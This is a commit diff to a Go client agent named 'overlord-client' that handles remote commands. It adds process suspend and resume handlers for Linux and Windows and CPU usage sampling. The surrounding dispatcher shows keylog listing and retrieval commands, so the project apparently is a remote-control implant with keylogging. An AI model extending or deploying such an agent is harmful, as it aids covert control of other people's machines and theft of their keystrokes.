add context menu to processes view + add more shit you can do.
This commit is contained in:
@@ -2141,6 +2141,62 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
pid = int32(p)
|
||||
}
|
||||
return HandleProcessKill(ctx, env, cmdID, pid)
|
||||
case "process_suspend":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
if payload == nil {
|
||||
if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok {
|
||||
payload = make(map[string]interface{}, len(rawPayload))
|
||||
for k, v := range rawPayload {
|
||||
ks, ok := k.(string)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
payload[ks] = v
|
||||
}
|
||||
}
|
||||
}
|
||||
suspendPid := int32(0)
|
||||
if p, ok := payload["pid"].(float64); ok {
|
||||
suspendPid = int32(p)
|
||||
}
|
||||
if p, ok := payload["pid"].(uint64); ok {
|
||||
suspendPid = int32(p)
|
||||
}
|
||||
if p, ok := payload["pid"].(int64); ok {
|
||||
suspendPid = int32(p)
|
||||
}
|
||||
if p, ok := payload["pid"].(int); ok {
|
||||
suspendPid = int32(p)
|
||||
}
|
||||
return HandleProcessSuspend(ctx, env, cmdID, suspendPid)
|
||||
case "process_resume":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
if payload == nil {
|
||||
if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok {
|
||||
payload = make(map[string]interface{}, len(rawPayload))
|
||||
for k, v := range rawPayload {
|
||||
ks, ok := k.(string)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
payload[ks] = v
|
||||
}
|
||||
}
|
||||
}
|
||||
resumePid := int32(0)
|
||||
if p, ok := payload["pid"].(float64); ok {
|
||||
resumePid = int32(p)
|
||||
}
|
||||
if p, ok := payload["pid"].(uint64); ok {
|
||||
resumePid = int32(p)
|
||||
}
|
||||
if p, ok := payload["pid"].(int64); ok {
|
||||
resumePid = int32(p)
|
||||
}
|
||||
if p, ok := payload["pid"].(int); ok {
|
||||
resumePid = int32(p)
|
||||
}
|
||||
return HandleProcessResume(ctx, env, cmdID, resumePid)
|
||||
case "keylog_list":
|
||||
return HandleKeylogList(ctx, env, cmdID)
|
||||
case "keylog_retrieve":
|
||||
|
||||
@@ -51,3 +51,41 @@ func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleProcessSuspend(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
|
||||
log.Printf("process_suspend: %d", pid)
|
||||
|
||||
err := suspendProcess(pid)
|
||||
ok := err == nil
|
||||
errMsg := ""
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
}
|
||||
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: ok,
|
||||
Message: errMsg,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleProcessResume(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
|
||||
log.Printf("process_resume: %d", pid)
|
||||
|
||||
err := resumeProcess(pid)
|
||||
ok := err == nil
|
||||
errMsg := ""
|
||||
if err != nil {
|
||||
errMsg = err.Error()
|
||||
}
|
||||
|
||||
result := wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: ok,
|
||||
Message: errMsg,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
@@ -90,3 +90,11 @@ func listProcesses() ([]wire.ProcessInfo, error) {
|
||||
func killProcess(pid int32) error {
|
||||
return syscall.Kill(int(pid), syscall.SIGKILL)
|
||||
}
|
||||
|
||||
func suspendProcess(pid int32) error {
|
||||
return syscall.Kill(int(pid), syscall.SIGSTOP)
|
||||
}
|
||||
|
||||
func resumeProcess(pid int32) error {
|
||||
return syscall.Kill(int(pid), syscall.SIGCONT)
|
||||
}
|
||||
|
||||
@@ -6,8 +6,11 @@ package handlers
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"overlord-client/cmd/agent/wire"
|
||||
@@ -18,10 +21,22 @@ import (
|
||||
var (
|
||||
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||
modPsapi = windows.NewLazySystemDLL("psapi.dll")
|
||||
modNtdll = windows.NewLazySystemDLL("ntdll.dll")
|
||||
procEnumProcesses = modPsapi.NewProc("EnumProcesses")
|
||||
procGetProcessMemoryInfo = modPsapi.NewProc("GetProcessMemoryInfo")
|
||||
procOpenProcess = modKernel32.NewProc("OpenProcess")
|
||||
procGetProcessImageFileNameW = modPsapi.NewProc("GetProcessImageFileNameW")
|
||||
procGetProcessTimes = modKernel32.NewProc("GetProcessTimes")
|
||||
)
|
||||
|
||||
type cpuSample struct {
|
||||
cpuTime100ns uint64
|
||||
sampledAt time.Time
|
||||
}
|
||||
|
||||
var (
|
||||
cpuSamplesMu sync.Mutex
|
||||
cpuSamples = make(map[int32]cpuSample)
|
||||
)
|
||||
|
||||
type PROCESS_MEMORY_COUNTERS struct {
|
||||
@@ -39,6 +54,10 @@ type PROCESS_MEMORY_COUNTERS struct {
|
||||
|
||||
func listProcesses() ([]wire.ProcessInfo, error) {
|
||||
selfPID := int32(os.Getpid())
|
||||
numCPU := runtime.NumCPU()
|
||||
if numCPU < 1 {
|
||||
numCPU = 1
|
||||
}
|
||||
var pids [4096]uint32
|
||||
var bytesReturned uint32
|
||||
|
||||
@@ -105,6 +124,36 @@ func listProcesses() ([]wire.ProcessInfo, error) {
|
||||
memory = uint64(memCounters.WorkingSetSize)
|
||||
}
|
||||
|
||||
cpu := 0.0
|
||||
var creation, exit, kernel, user windows.Filetime
|
||||
ret, _, _ = procGetProcessTimes.Call(
|
||||
handle,
|
||||
uintptr(unsafe.Pointer(&creation)),
|
||||
uintptr(unsafe.Pointer(&exit)),
|
||||
uintptr(unsafe.Pointer(&kernel)),
|
||||
uintptr(unsafe.Pointer(&user)),
|
||||
)
|
||||
if ret != 0 {
|
||||
cpuTotal := (uint64(kernel.HighDateTime)<<32 | uint64(kernel.LowDateTime)) +
|
||||
(uint64(user.HighDateTime)<<32 | uint64(user.LowDateTime))
|
||||
now := time.Now()
|
||||
cpuSamplesMu.Lock()
|
||||
if prev, ok := cpuSamples[pid]; ok {
|
||||
wallDelta := now.Sub(prev.sampledAt).Seconds()
|
||||
if wallDelta > 0 && cpuTotal >= prev.cpuTime100ns {
|
||||
cpuDelta := float64(cpuTotal-prev.cpuTime100ns) / 1e7
|
||||
cpu = (cpuDelta / wallDelta) / float64(numCPU) * 100.0
|
||||
if cpu < 0 {
|
||||
cpu = 0
|
||||
} else if cpu > 100 {
|
||||
cpu = 100
|
||||
}
|
||||
}
|
||||
}
|
||||
cpuSamples[pid] = cpuSample{cpuTime100ns: cpuTotal, sampledAt: now}
|
||||
cpuSamplesMu.Unlock()
|
||||
}
|
||||
|
||||
var pbi windows.PROCESS_BASIC_INFORMATION
|
||||
ppid := int32(0)
|
||||
err := windows.NtQueryInformationProcess(windows.Handle(handle), windows.ProcessBasicInformation, unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), nil)
|
||||
@@ -155,7 +204,7 @@ func listProcesses() ([]wire.ProcessInfo, error) {
|
||||
PID: pid,
|
||||
PPID: ppid,
|
||||
Name: name,
|
||||
CPU: 0.0,
|
||||
CPU: cpu,
|
||||
Memory: memory,
|
||||
Username: username,
|
||||
Type: procType,
|
||||
@@ -163,6 +212,18 @@ func listProcesses() ([]wire.ProcessInfo, error) {
|
||||
})
|
||||
}
|
||||
|
||||
cpuSamplesMu.Lock()
|
||||
live := make(map[int32]struct{}, len(processes))
|
||||
for _, p := range processes {
|
||||
live[p.PID] = struct{}{}
|
||||
}
|
||||
for pid := range cpuSamples {
|
||||
if _, ok := live[pid]; !ok {
|
||||
delete(cpuSamples, pid)
|
||||
}
|
||||
}
|
||||
cpuSamplesMu.Unlock()
|
||||
|
||||
return processes, nil
|
||||
}
|
||||
|
||||
@@ -175,3 +236,33 @@ func killProcess(pid int32) error {
|
||||
|
||||
return windows.TerminateProcess(handle, 1)
|
||||
}
|
||||
|
||||
func suspendProcess(pid int32) error {
|
||||
procNtSuspendProcess := modNtdll.NewProc("NtSuspendProcess")
|
||||
handle, err := windows.OpenProcess(windows.PROCESS_SUSPEND_RESUME, false, uint32(pid))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer windows.CloseHandle(handle)
|
||||
|
||||
ret, _, _ := procNtSuspendProcess.Call(uintptr(handle))
|
||||
if ret != 0 {
|
||||
return fmt.Errorf("NtSuspendProcess failed with status 0x%x", ret)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func resumeProcess(pid int32) error {
|
||||
procNtResumeProcess := modNtdll.NewProc("NtResumeProcess")
|
||||
handle, err := windows.OpenProcess(windows.PROCESS_SUSPEND_RESUME, false, uint32(pid))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer windows.CloseHandle(handle)
|
||||
|
||||
ret, _, _ := procNtResumeProcess.Call(uintptr(handle))
|
||||
if ret != 0 {
|
||||
return fmt.Errorf("NtResumeProcess failed with status 0x%x", ret)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user